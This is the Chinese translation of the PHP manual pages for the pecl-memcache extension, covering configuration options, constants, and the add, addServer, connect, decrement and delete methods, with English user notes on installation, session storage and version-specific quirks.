mit at mitayai dot org 19-Apr-2010 12:47
It is very important to note when reading the information supplied by others on this page that there are two *distinct* memcache PHP implementations for the service "memcached".

1) pecl-memcache
2) pecl-memcached

This page is for the first, pecl-memcache.

If you are looking for pecl-memcached information, visit here:

http://www.php.net/manual/en/book.memcached.php
no at spam4me dot com 11-Dec-2009 03:48
#if apt-get, rpm, or yum doesn't work
cd /usr/src/
wget http://pecl.php.net/get/memcache-2.2.4.tgz
tar -zxvf memcached-2.2.4.tgz
cd memcached-2.2.4
phpize && ./configure --enable-memcache && make
cp modules/memcache.so /usr/lib/php/modules/

# Note: packaged extension modules are now loaded via the .ini files
# found in the directory /etc/php.d
touch /etc/php.d/memcached.ini
echo 'extension=memcache.so' > /etc/php.d/memcached.ini

service httpd restart
mykel dot alvis at gmail dot com 18-Jun-2008 08:01
on Fedora, apparently

yum install php-pecl-memcache


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Memcache 配置选项
名字 | 默认 | 可修改范围 | 更新日志
memcache.allow_failover | "1" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.max_failover_attempts | "20" | PHP_INI_ALL | Available since memcache 2.1.0.
memcache.chunk_size | "8192" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.default_port | "11211" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.hash_strategy | "standard" | PHP_INI_ALL | Available since memcache 2.2.0.
memcache.hash_function | "crc32" | PHP_INI_ALL | Available since memcache 2.2.0.
memcache.protocol | ascii | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.redundancy | 1 | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.session_redundancy | 2 | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.compress_threshold | 20000 | >PHP_INI_ALL | Supported since memcache 3.0.3
memcache.lock_timeout | 15 | >PHP_INI_ALL | Supported since memcache 3.0.4
影响 Memcache 行为的 Session 配置选项
名字 | 默认 | 可修改范围 | 更新日志
session.save_handler | "files" | PHP_INI_ALL | Supported since memcache 2.1.2
session.save_path | "" | PHP_INI_ALL | Supported since memcache 2.1.2
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

memcache.allow_failover bool

是否在发生错误时（对用户）透明的转移到其他服务器。

memcache.max_failover_attempts int

定义在写入和获取数据时最多尝试的服务器次数（即：故障转移最大尝试数），仅和 memcache.allow_failover 结合使用。

memcache.chunk_size int

数据传输块大小，这个值越小网络I/O次数越多，如果发现莫名的速度降低， 可以尝试将此值调至 32768。

memcache.default_port string

在连接 memcached 服务器时如果没有指定其它端口则使用默认 TCP 端口号。

memcache.hash_strategy string

控制将 key 映射到服务器时使用的（分布式）策略。设置此值为 consistent 以启用一致散列，允许服务器增减而不会导致重新映射 key。（译注：参见 http://tech.idv2.com/2008/07/24/memcached-004/）将此值设置为 standard 会导致使用旧策略。

memcache.hash_function string

控制将 key 映射到服务器时应用哪个 hash 函数，crc32 使用标准 CRC32 散列，fnv 使用 FNV-1a。

memcache.protocol string

memcache.redundancy int

memcache.session_redundancy int

memcache.compress_threshold int

memcache.lock_timeout int

session.save_handler string

通过设置此值为 memcache，将 memcache 用作 session 处理程序。

session.save_path string

定义服务器 URL，以逗号分隔，以用于 session 存储，例如"tcp://host1:11211, tcp://host2:11211"。

每个 url 可能包含应用于该服务器的参数，它们与 Memcache::addServer() 方法相同。 例如 "tcp://host1:11211?persistent=1&weight=1&timeout=1&retry_interval=15"

User Contributed Notes

kross at escapistmag dot com 22-Mar-2010 09:06
There's a currently undocumented variable that is now available (you can see it in php_info()) for session handling:

memcache.session_redundancy

The default seems to be "2", and it is supposed to influence how many copies of a particular session object that Memcache will store for failover purposes (so with a redundancy of 2, it will store a session on 2 different shards).

This will add slight overhead with extra writes, but overall seems worth it for purposes of failover.


资源类型

memcache 模块中只有一个资源类型——它是缓存服务器连接的链接标识符。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

Memcache 常量
常量名 | 描述
MEMCACHE_COMPRESSED (int) | 用于通过 Memcache::set()、Memcache::add() 和 Memcache::replace() 打开实时数据压缩。
MEMCACHE_HAVE_SESSION (int) | 如果此 Memcache session 处理程序可用，则为 1，否则为 0。
MEMCACHE_USER1 (int) | 用于通过 Memcache::set()、Memcache::add() 和 Memcache::replace() 打开用户定义的应用程序 flag。
MEMCACHE_USER2 (int) | 用于通过 Memcache::set()、Memcache::add() 和 Memcache::replace() 打开用户定义的应用程序 flag。
MEMCACHE_USER3 (int) | 用于通过 Memcache::set()、Memcache::add() 和 Memcache::replace() 打开用户定义的应用程序 flag。
MEMCACHE_USER4 (int) | 用于通过 Memcache::set()、Memcache::add() 和 Memcache::replace() 打开用户定义的应用程序 flag。

User Contributed Notes

Joan 20-Jan-2010 07:55
MEMCACHE_COMPRESSED=2
Using value of 1 produces serialization errors when retrieving values.


示例

Table of Contents

  • 基础用法

User Contributed Notes

There are no user contributed notes for this page.


基础用法

Example #1 memcache 扩展概述示例

在这个例子中，一个对象被保存到缓存中，又被取回。存储之前会序列化对象和其他非标量类型，因此不能在缓存中存储资源（即连接标识符和其它）。

<?php

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");

$version = $memcache->getVersion();
echo "Server's version: ".$version."<br/>\n";

$tmp_object = new stdClass;
$tmp_object->str_attr = 'test';
$tmp_object->int_attr = 123;

$memcache->set('key', $tmp_object, false, 10) or die ("Failed to save data at the server");
echo "Store data in the cache (data will expire in 10 seconds)<br/>\n";

$get_result = $memcache->get('key');
echo "Data from the cache:<br/>\n";

var_dump($get_result);

?>

Example #2 使用 memcache session 处理程序

<?php

$session_save_path = "tcp://$host:$port?persistent=1&weight=2&timeout=2&retry_interval=10, ,tcp://$host:$port ";
ini_set('session.save_handler', 'memcache');
ini_set('session.save_path', $session_save_path);

?>

User Contributed Notes

atesin > gmail 06-Aug-2020 08:20
moderator please merge these posts

an errata to my comment done on 2020-07-28 01:05 about tmpfs session dir...

the tmpfs directory i used to install session files is "/run" not "/tmp"...  as /tmp is auto (or manual) deleted sometimes
atesin > gmail 28-Jul-2020 01:05
memcached is great, is lightning fast, very versatile and useful, scalable, and is a must have for many projects

but if you only want speed to minimize session file blocking there is also a good alternative, tmpfs

https://eddmann.com/posts/storing-php-sessions-file-caches-in-memory-using-tmpfs/

maybe if you are in debian you already had session directory in tmp (mounted as tmpfs), but beware of daily cleaning process that can mess up your sessions

you can use this trick if you are in centos/other (like me) or even if you are in debian but want to get ride of /tmp cleaning task

i realized in my system /run is also mounted as tmpfs, so i shut php-fpm down, moved my php session dir to /tmp/, reconfigure php and start again... (you can adapt it to your situation)

  systemctl stop php-fpm
  cp -a /var/lib/php/session /tmp/php-session
  vim /etc/php-fpm-d/www.conf
  ------
  php_value[session.save_path] = /run/php-session
  ------
  systemctl start php-fpm

the only drawback is tmpfs is VOLATILE, just like memcached (data is lost on unmount/shutdown/power fail), to  circumvent this risk i wrote another service that restores/backup php session dir before/after php starts/stops... (UNTESTED!)

  vim /etc/systemd/system/php-session-backup.service
  ------
  # basic persistence for tmpfs php sessions

  [Unit]
  Description=PHP tmpfs sessions backup/restore on shutdown/boot
  Before=php-fpm.service

  [Service]
  Type=oneshot
  RemainAfterExit=true
  ExecStart=rm -fr /run/php-session
  ExecStart=cp -fa /var/lib/php/session /run/php-session
  ExecStop=rm -fr /var/lib/php/session
  ExecStop=cp -fa /run/php-session /var/lib/php/session

  [Install]
  WantedBy=multi-user.target
  ------
  systemctl enable php-session-backup

you can also complement this with a daily backup task in case of system crash so you will lose just one day

  crontab -e
  ------
  0 4 * * * rm -fr /var/lib/php/session;cp -fa /run/php-session /var/lib/php/session
  ------

this is very rough though, you can better use inotify + rsync, could take some ideas from here

https://blog.jmdawson.co.uk/persistent-ramdisk-on-debain-ubuntu/
dkreuter at gmail dot com 01-Jun-2009 11:45
If the example doesn't work try to change "localhost" to "127.0.0.1".


Memcache 类

(PECL memcache >= 0.2.0)

简介

表示与一组 memcache 服务器的连接。

类摘要

class Memcache {
add(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool
addServer(
string $host,
int $port = 11211,
bool $persistent = ?,
int $weight = ?,
int $timeout = ?,
int $retry_interval = ?,
bool $status = ?,
callable $failure_callback = ?,
int $timeoutms = ?
): bool
close(): bool
connect(string $host, int $port = ?, int $timeout = ?): bool
decrement(string $key, int $value = 1): int|false
delete(string $key, int $timeout = 0): bool
flush(): bool
get(string $key, int &$flags = ?): string
getExtendedStats(string $type = ?, int $slabid = ?, int $limit = 100): array
getServerStatus(string $host, int $port = 11211): int
getStats(string $type = ?, int $slabid = ?, int $limit = 100): array|false
getVersion(): string|false
increment(string $key, int $value = 1): int|false
pconnect(string $host, int $port = ?, int $timeout = ?): mixed
replace(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool
set(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool
setCompressThreshold(int $threshold, float $min_savings = ?): bool
setServerParams(
string $host,
int $port = 11211,
int $timeout = ?,
int $retry_interval = false,
bool $status = ?,
callable $failure_callback = ?
): bool
}

Table of Contents

  • Memcache::add — 增加一个条目到缓存服务器
  • Memcache::addServer — 向连接池中添加一个memcache服务器
  • Memcache::close — 关闭memcache连接
  • Memcache::connect — 打开一个memcached服务端连接
  • Memcache::decrement — 减小元素的值
  • Memcache::delete — 从服务端删除一个元素
  • Memcache::flush — 清洗（删除）已经存储的所有的元素
  • Memcache::get — 从服务端检回一个元素
  • Memcache::getExtendedStats — 缓存服务器池中所有服务器统计信息
  • Memcache::getServerStatus — 用于获取一个服务器的在线/离线状态
  • Memcache::getStats — 获取服务器统计信息
  • Memcache::getVersion — 返回服务器版本信息
  • Memcache::increment — 增加一个元素的值
  • Memcache::pconnect — 打开一个到服务器的持久化连接
  • Memcache::replace — 替换已经存在的元素的值
  • Memcache::set — 存储数据到服务器
  • Memcache::setCompressThreshold — 开启大值自动压缩
  • Memcache::setServerParams — 运行时修改服务器参数和状态

User Contributed Notes

chris at NOSPAM dot xeneco dot co dot uk 09-Jan-2013 09:40
It helps to know that for this extension to work, you need a server with 'Memcached' (a service independent of PHP) installed and running as a service.

The documentation herein refers a lot to 'memcache_host'. This is not an arbitrary string, but should be a host name (eg localhost) or an IP address of a server running memcached.

If you have just installed the php memcache extension then you will not necessarily have memcached installed as well


增加一个条目到缓存服务器

  • ? Memcache
  • Memcache::addServer ?
  • PHP Manual
  • Memcache
  • 增加一个条目到缓存服务器

Memcache::add

(PECL memcache >= 0.2.0)

Memcache::add — 增加一个条目到缓存服务器

说明

Memcache::add(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool

Memcache::add()方法在缓存服务器之前不存在key时， 以key作为key存储一个变量var到缓存服务器。 同样可以使用函数memcache_add()。

参数

key

将要分配给变量的key。

var

将要被存储的变量。字符串和整型被以原文存储，其他类型序列化后存储。

flag

使用MEMCACHE_COMPRESSED标记对数据进行压缩(使用zlib)。

expire

当前写入缓存的数据的失效时间。如果此值设置为0表明此数据永不过期。你可以设置一个UNIX时间戳或 以秒为单位的整数（从当前算起的时间差）来说明此数据的过期时间，但是在后一种设置方式中，不能超过 2592000秒（30天）。

返回值

成功时返回 true， 或者在失败时返回 false。 如果这个key已经存在返回false。 Memcache::add()方法的其他行为类似 Memcache::set()。

示例

Example #1 Memcache::add()示例

<?php

$memcache_obj = memcache_connect("localhost", 11211);

/* 面向过程编程 API */
memcache_add($memcache_obj, 'var_key', 'test variable', false, 30);

/* 面向对象编程 API */
$memcache_obj->add('var_key', 'test variable', false, 30);

?>

参见

  • Memcache::set() - 存储数据到服务器
  • Memcache::replace() - 替换已经存在的元素的值

User Contributed Notes

vasiliy at hotger dot com 13-Feb-2014 07:49
It looks like add() function is truly 100% atomic, and safeadd bicycle mentioned in the other comment is useless. There are few links where developers of Memcahed explained it deeper

http://lists.danga.com/pipermail/memcached/2008-March/006647.html
http://www.serverphorums.com/read.php?9,214222
Davide Renzi 18-Feb-2010 01:16
Race conditions happen on an heavy load server when more than one thread tries to execute memcache_add.
For example if thread A and thread B try to save the same key you can test that sometimes both return TRUE.
To have the right behaviour you can verify that the correct value is in the assigned key:

<?php
function memcache_safeadd(&$memcache_obj, $key, $value, $flag, $expire)
{
    if (memcache_add($memcache_obj, $key, $value, $flag, $expire))
    {
        return ($value == memcache_get($memcache_obj, $key));
    }
    return FALSE;
}
?>
matt 03-Aug-2009 06:39
It's also good to note that add will succeed if the key exists but is expired
ktamas77 at gmail dot com 27-Apr-2009 04:08
skeleton of a thread safe updater for an incremental counter:

<?php

$key = "counter";
$value = $memcache->increment($key, 1);
if ($value === false) {
   // --- read from DB ---
   $query = "SELECT value FROM database";
   $result = mysql_query($query);
   $row = mysql_fetch_assoc($result);
   $db_value = $row["value"];
   $add_value = $memcache->add($key, $db_value + 1, 0, 0);
   if ($add_value === false) {
      $value = $memcache->increment($key, 1)
      if ($value === false) {
          error_log ("counter update failed.");
      }
   } else {
      $value = $db_value + 1;
   }
}

// --- display counter value ---
echo $value;

?>
roberto at spadim,com dot br 17-Jun-2007 10:13
[c.2007]
if you read source code for MMC_SERIALIZED you will see at line ~1555 that [a line ~1560]
!(is_string,is_long,is_double,is_bool)

[is] serialized and that serialized values are flaged as MMC_SERIALIZED for return (fetch) code unserialize these values again


向连接池中添加一个memcache服务器

  • ? Memcache::add
  • Memcache::close ?
  • PHP Manual
  • Memcache
  • 向连接池中添加一个memcache服务器

Memcache::addServer

(PECL memcache >= 2.0.0)

Memcache::addServer — 向连接池中添加一个memcache服务器

说明

Memcache::addServer(
string $host,
int $port = 11211,
bool $persistent = ?,
int $weight = ?,
int $timeout = ?,
int $retry_interval = ?,
bool $status = ?,
callable $failure_callback = ?,
int $timeoutms = ?
): bool

Memcache::addServer() 增加一个服务器到连接池中。也可以使用 memcache_add_server() 函数。

当使用这个方法的时候(与Memcache::connect()和Memcache::pconnect()相反) 网络连接并不会立刻建立，而是直到真正使用的时候才建立。 因此在加入大量服务器到连接池中时也是没有开销的，因为它们可能并不会被使用。

故障转移可能在方法的任何一个层次发生，通常只要其他服务器可用用户就不会感受到。任何的socket或memcache服务器级别的错误 （比如内存溢出）都可能导致故障转移。而一般的客户端错误比如使用Memcache::add尝试增加一个已经存在的key则不会导致故障转移。

Note:

这个方法在2.0.0版本加入Memcache。

参数

host

要连接的memcached服务端监听的主机位置。这个参数通常指定其他类型的传输比如Unix域套接字使用 unix:///path/to/memcached.sock，这种情况下参数port 必须设置为0。

port

要连接的memcached服务端监听的端口。当使用UNIX域套接字连接时设置为0。

注意：如果未指定 port，默认为 memcache.default_port。因此，明智的做法是调用此方法时明确指定端口。

persistent

控制是否使用持久化连接。默认true。

weight

为此服务器创建的桶的数量，用来控制此服务器被选中的权重，单个服务器被选中的概率是相对于所有服务器weight总和而言的。

timeout

连接持续（超时）时间（单位秒），默认值1秒，修改此值之前请三思，过长的连接持续时间可能会导致失去所有的缓存优势。

retry_interval

服务器连接失败时重试的间隔时间，默认值15秒。如果此参数设置为-1表示不重试。此参数和persistent参数在扩展以 dl()函数动态加载的时候无效。

每个失败的连接结构有自己的超时时间，并且在它失效之前选择后端服务请求时该结构会被跳过。一旦一个连接失效， 它将会被成功重新连接或被标记为失败连接以在下一个retry_interval秒重连。 典型的影响是每个web服务子进程在服务于一个页面时将会每retry_interval秒 尝试重新连接一次。

status

控制此服务器是否可以被标记为在线状态。设置此参数值为false并且retry_interval参数 设置为-1时允许将失败的服务器保留在一个池中以免影响key的分配算法。对于这个服务器的请求会进行故障转移或者立即失败， 这受限于memcache.allow_failover参数的设置。该参数默认true，表明允许进行故障转移。

failure_callback

允许用户指定一个运行时发生错误后的回调函数。回调函数会在故障转移之前运行。回调函数会接受到两个参数，分别是失败主机的 主机名和端口号。

timeoutms

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::addServer() 示例

<?php

/* OO API */

$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
$memcache->addServer('memcache_host2', 11211);

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_add_server($memcache_obj, 'memcache_host2', 11211);

?>

注释

Warning

当 port 未指定时，此方法默认为 PHP ini 指令 memcache.default_port 的值。如果此值在应用程序的其他地方更改，可能会导致意外结果：因此，明智的做法是始终在这个方法调用。

参见

  • Memcache::connect() - 打开一个memcached服务端连接
  • Memcache::pconnect() - 打开一个到服务器的持久化连接
  • Memcache::close() - 关闭memcache连接
  • Memcache::setServerParams() - 运行时修改服务器参数和状态
  • Memcache::getServerStatus() - 用于获取一个服务器的在线/离线状态

User Contributed Notes

joewynn dot nz+phpnet at gmail dot com 25-Oct-2013 10:12
Note that this method will always return TRUE because a connection is not actually made at call time. See this bug report for more information: https://bugs.php.net/bug.php?id=58193
enno dot rehling at gmail dot com 09-Sep-2011 04:11
The $timeoutms argument can be used to specify the timeout in milliseconds, but isn't available in all versions. For example, it exists in php_memcache 2.2.6, but not in 3.0.4. In 2.2.6, if you specify it, then it overrides $timeout.

Caveat emptor: If $timeoutms is not specified, it defaults to the value of memcache.default_timeout_ms in php.ini, which defaults to 1000 if not set. This also overrides $timeout, which has the curious effect that $timeout is always ignored in php_memcache 2.2.6 (either in favor of $timeoutms, memcache.default_timeout_ms or the value 1000, in that order of priority).
rstaveley at seseit dot com 17-Jun-2011 04:06
The Memcache client library is responsible for picking the right server to set/get data. That's why addServer is what you want to use rather than connect, when you have more than one Memcache server. A subsequent set/get will then connect on demand to the appropriate instance as needs be. Disconnection to whatever servers were connected to happening when you close or your script terminates.

Memcache instances added to your Memcache object via addServer should be added in the same order in your application to ensure that the same server is picked for use with the same key.

A client library may be implemented to run a CRC on the key and do a modulus over the number of instances in the list to select an instance from the list for the set/get. This ensures that data is spread nicely across the nodes.

That all works nicely behind the scenes for you in your PHP code, as long as you add your list of Memcache instances in a consistent manner with addServer.
eu at serbannistor dot ro 04-May-2011 06:30
Actually if you have two memcached servers from which one of them is on localhost, and the other is on a remote machine you can communicate with both even if you specify the loopback address for the local one.

<?php
$memcache_obj = memcache_connect("127.0.0.1", 11211);
memcache_add_server($memcache_obj, "memcache_remote_host");
$memcache_obj->set('var_key', time());
?>

This WILL communicate with both hosts but however there are two aspects that must be taken into account:
1. the communication will be done through different network interfaces with the two hosts. It will use the loopback interface for the "127.0.0.1" host (lo in my case on Linux) and the external interface for the "memcache_remote_host" (eth0 in my case). Only if you want to use the same network interface to communicate with both hosts you must use the external IPs of both machines (and all communication will go out through the eth0 interface).
2. the connection with the two hosts will be established differently because of how memcache_connect() and memcache_add_server() work. Therefore the memcache_connect() will initiate the connection to localhost through the loopback interface when it is called, while memcache_add_server() will just add the second server to the pool, but it will not send any package through the network until it's absolutely needed (for example when a memcache_set() command is issued).
iwind dot liu at gmail dot com 08-Feb-2010 12:14
The weight of the server must be greater than 0.

If there is no memcached server to use, and you try to set/add variables, the apache will be crashed, with the error message "[notice] child pid 18725 exit signal Segmentation fault (11)" in error_log file.
Jean-Baptiste Quenot 05-May-2008 01:08
The default value for the "weight" argument is 1


关闭memcache连接

  • ? Memcache::addServer
  • Memcache::connect ?
  • PHP Manual
  • Memcache
  • 关闭memcache连接

Memcache::close

(PECL memcache >= 0.4.0)

Memcache::close — 关闭memcache连接

说明

Memcache::close(): bool

Memcache::close()关闭到memcached服务端的连接。这个函数不会关闭持久化连接， 持久化连接仅仅会在web服务器关机/重启时关闭。与之对应的，你也可以使用memcache_close()函数。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::close()示例

<?php

/* 面向过程 API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/*
do something here...
*/
memcache_close($memcache_obj);

/* 面向对象 API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/*
do something here...
*/
$memcache_obj->close();

?>

参见

  • Memcache::connect() - 打开一个memcached服务端连接
  • Memcache::pconnect() - 打开一个到服务器的持久化连接

User Contributed Notes

There are no user contributed notes for this page.


打开一个memcached服务端连接

  • ? Memcache::close
  • Memcache::decrement ?
  • PHP Manual
  • Memcache
  • 打开一个memcached服务端连接

Memcache::connect

(PECL memcache >= 0.2.0)

Memcache::connect — 打开一个memcached服务端连接

说明

Memcache::connect(string $host, int $port = ?, int $timeout = ?): bool

Memcache::connect()建立一个到memcached服务端的连接。 使用方法
Memcache::connect()打开的连接在脚本执行结束后会自动关闭。当然，你也可以使用方法
Memcache::close()来主动关闭。
同时你也可以使用memcache_connect()函数来获取一个连接。

参数

host

memcached服务端监听主机地址。这个参数也可以指定为其他传输方式比如unix:///path/to/memcached.sock 来使用Unix域socket，在这种方式下，port参数必须设置为0。

port

memcached服务端监听端口。当使用Unix域socket的时候要设置此参数为0。

注意：如果未指定 port，默认为 memcache.default_port。因此，明智的做法是调用此方法时明确指定端口。

timeout

连接持续（超时）时间，单位秒。默认值1秒，修改此值之前请三思，过长的连接持续时间可能会导致失去所有的缓存优势。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::connect() example

<?php

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);

/* OO API */

$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);

?>

注释

Warning

当 port 未指定时，此方法默认为 PHP ini 指令 memcache.default_port 的值。如果此值在应用程序的其他地方更改，可能会导致意外结果：因此，明智的做法是始终在这个方法调用。

参见

  • Memcache::pconnect() - 打开一个到服务器的持久化连接
  • Memcache::close() - 关闭memcache连接

User Contributed Notes

webysther at gmail dot com 10-May-2014 04:28
In describing the timeout there is a statement that is not completely correct, increase the timeout does not necessarily preclude or unfeasible memcache, only allows the system to wait for more concurrent connections, which is a large minority of the number of connections, this causes several problems and could simply be corrected if the timeout was increased and perform some tests.
To prove the concept and show that the connection does not wait if the server goes down:

<?PHP

while ( ++$loop < 10000 ) {
    try {
        $memcache = new Memcache;
        @$memcache->pconnect( "127.0.0.1" , 11211 , 30 );
        $loopset = 0;
        $loopget = 0;

        while ( ++$loopset < 50 ) {
            if ( @$memcache->set( "foo" , "bar" ) === false ) {
                echo "Fail!" . PHP_EOL;
            }
        }

        while ( ++$loopget < 500 ) {
            if ( @$memcache->get( "foo" ) === false ) {
                echo "Fail!" . PHP_EOL;
            }
        }

        if ( $loop % 100 == 0 ) {
            echo "Try: " . $loop . PHP_EOL;
        }
    } catch ( Exception $e ) {
        echo "Fail: " . $e->getMessage() . PHP_EOL;
    }
}

?>

Replace with an invalid host and test the timeout will not make a difference! It serves only for connections to the socket that are occupied.

More detail about troubleshooting timeouts in memcached google code.
tom at all dash community dot de 06-Dec-2011 07:52
There is a not-so-obvious way to check whether or not a MemCache-Server is available.

Using ($memCache->connect() == false) will wait for a timeout if it can't connect. If you got a high-traffic site this may not be an option. So when the server is down, you may want to avoid waiting for this timeout on every request and instead try to reconnect only once every X seconds.

If so, this code may help:

<?php
$memCache = new \Memcache();
$memCache->addServer($host, $port);
$stats = @$memCache->getExtendedStats();
$available = (bool) $stats["$host:$port"];
if ($available && @$memCache->connect($host, $port))
    // MemCache is there
else
    // go on without MemCache
?>

The result of getExtendedStats() is an array. The information is cached and maintained by MemCache itself. If the server is not available, the result will be FALSE.

Even if the result is not false, the server may still not be available. Thus you need to check for connect() != false too, but only if the first check returns TRUE, thus avoiding the 1 second timeout in most cases.
Both getExtendedStats() and connect() issue notices/warnings if the server is not there. Thus you have to mute both calls.

Do NOT use getServerStatus() for this purpose: the result is cached on server-start and will not recognize when the connection to the server is lost (or reestablished) in between.
djbrd 11-May-2011 11:48
To suppress (or handle) the warning and notice thrown by a failed attempt to connect, you can use a custom error handler function, like this:

<?php
function myErrorHandler($errno, $errstr, $errfile, $errline)
{

    if (E_WARNING === $errno)
    {
        Log("PHP Warning: $errstr, $errfile, $errline", Logging::WARN);
        return true;
    }

    if (E_NOTICE === $errno)
    {
        Log("PHP Notic: $errstr, $errfile, $errline", Logging::NOTICE);
        return true;
    }

    return false;
}

set_error_handler('myErrorHandler');
?>
geoffrey dot hoffman at gmail dot com 18-Aug-2010 12:32
If memcached is working, calling memcache_connect( ) returns an Object instance, not a boolean. If memcached is not working, calling memcache_connect( ) throws a notice AND a warning (and returns false as expected).

<?php
/* memcache is running */
$test1 = memcache_connect('127.0.0.1',11211);
echo gettype($test1);
// object
echo get_class($test1);
// Memcache

/* memcached is stopped */
$test2 = memcache_connect('127.0.0.1',11211);

/*
Notice: memcache_connect(): Server 127.0.0.1 (tcp 11211) failed with: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1

Warning: memcache_connect(): Can't connect to 127.0.0.1:11211, A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
 (10060) in C:\Program Files\Support Tools\- on line 1
*/

echo gettype($test2);
// boolean
echo $test2===false;
// 1
?>

There appears to be no way to check whether memcached is actually running without resorting to error suppression:

<?php
$test3 = @memcache_connect('127.0.0.1',11211);
if( $test3===false ){
   // memcached is _probably_ not running
}
?>
chrisn at allipo dot com 05-Sep-2006 01:39
The behavior of Memcache::connect() is to always reinitialize the pool from scratch regardless of any previous calls to addServer().

E.g.

<?php
$mmc = new Memcache()
$mmc->addServer('node1', 11211);
$mmc->addServer('node2', 11211);
$mmc->addServer('node3', 11211);

$mmc->connect('node1', 11211);
?>

The last connect() call clears out the pool and then add and connect node1:11211 making it the only server.

If you want a pool of memcache servers, do not use the connect() function.

If you only want a single memcache server then there is no need to use the addServer() function.


减小元素的值

  • ? Memcache::connect
  • Memcache::delete ?
  • PHP Manual
  • Memcache
  • 减小元素的值

Memcache::decrement

(PECL memcache >= 0.2.0)

Memcache::decrement — 减小元素的值

说明

Memcache::decrement(string $key, int $value = 1): int|false

Memcache::decrement()方法将元素的值减小value。 类似于 Memcache::increment()方法，首先将元素当前值转换成数值然后减去value。

Note:

新的元素的值不会小于0。

Note:

不要将Memcache::decrement()方法用于压缩存储的元素，那样作会导致 Memcache::get()方法获取值会失败。

Memcache::decrement()在元素不存在时不能创建它。 同样可以使用memcache_decrement()函数来完成相同的工作。

参数

key

要减小值的元素的key。

value

value参数指要将指定元素的值减小多少。

返回值

成功的时候返回元素的新值 或者在失败时返回 false

示例

Example #1 Memcache::decrement() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* 将test_item对应的值减小2 */
$new_value = memcache_decrement($memcache_obj, 'test_item', 2);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* decrement item by 3 */
$new_value = $memcache_obj->decrement('test_item', 3);
?>

参见

  • Memcache::increment() - 增加一个元素的值
  • Memcache::replace() - 替换已经存在的元素的值

User Contributed Notes

There are no user contributed notes for this page.


从服务端删除一个元素

  • ? Memcache::decrement
  • Memcache::flush ?
  • PHP Manual
  • Memcache
  • 从服务端删除一个元素

Memcache::delete

(PECL memcache >= 0.2.0)

Memcache::delete — 从服务端删除一个元素

说明

Memcache::delete(string $key, int $timeout = 0): bool

Memcache::delete() 通过 key 删除元素。

参数

key

要删除的元素的key。

timeout

不支持此弃用参数，并且默认为 0 秒。不要使用此参数。

更新日志

版本 | 说明
Unknown | 不建议使用 timeout 参数。此行为在多个 memcached 版本之间的行为不同，但设置为 0 是安全的。此弃用功能的其他值可能会导致内存缓存删除失败。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::delete() 示例

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

/* 元素将会通过服务器删除 */
memcache_delete($memcache_obj, 'key_to_delete');

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->delete('key_to_delete');

?>

参见

  • Memcache::set() - 存储数据到服务器
  • Memcache::replace() - 替换已经存在的元素的值

User Contributed Notes

padys 12-Apr-2013 06:24
In my case this code does NOT work:
<?php
$memcache->set('index', 'deleted', 0, -1);
?>
because of expire == -1.

I set expire = 1 (and I prefer "replace"):
<?php
$memcache->replace('index', '', 0, 1);
?>
me at adamhahn dot com 03-Jul-2012 07:26
I could not get the delete to work properly, so I ended up trying the 'set' method and setting the timeout value to -1.

<?php
$memcache->set('index', 'deleted', 0, -1);
?>

It solved my problem with the delete method.

(using memcached 1.4.5 and pecl-memcache 3.0.6)
vbaspcppguy at gmail dot com 08-Sep-2010 12:47
According to the documents, $timeout is not required, but for me if I did not include it regardless of value, it fired an error. I made a simple fix for it.

<?php
class memcache_tools extends memcache
{
    public function delete($key, $expire=0)
    {
        parent::delete($key, $expire);
    }
}
?>

This will force it to behave as it should regardless of version.
Anonymous 28-Jul-2010 03:30
Regardless of whether or not it succeeds, for me on Ubuntu 10.04 it always returns false.  Just an FYI, you can't seem to rely on the result.
nibblebot at gmail dot com 09-Jul-2010 08:58
the Memcache::delete(key) function is broken on several combinations of memcached+pecl-memcache combinations.

pecl-memcache 2.2.5 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 2.2.5 + memcached 1.4.4 - Memcache::delete(key) WORKS

pecl-memcache 2.2.5 + memcached 1.4.5 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.2 - Memcache::delete(key) WORKS

pecl-memcache 3.0.4 + memcached 1.4.3 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.4 - Memcache::delete(key) DOES NOT WORK

pecl-memcache 3.0.4 + memcached 1.4.5 - Memcache::delete(key) DOES NOT WORK


清洗（删除）已经存储的所有的元素

  • ? Memcache::delete
  • Memcache::get ?
  • PHP Manual
  • Memcache
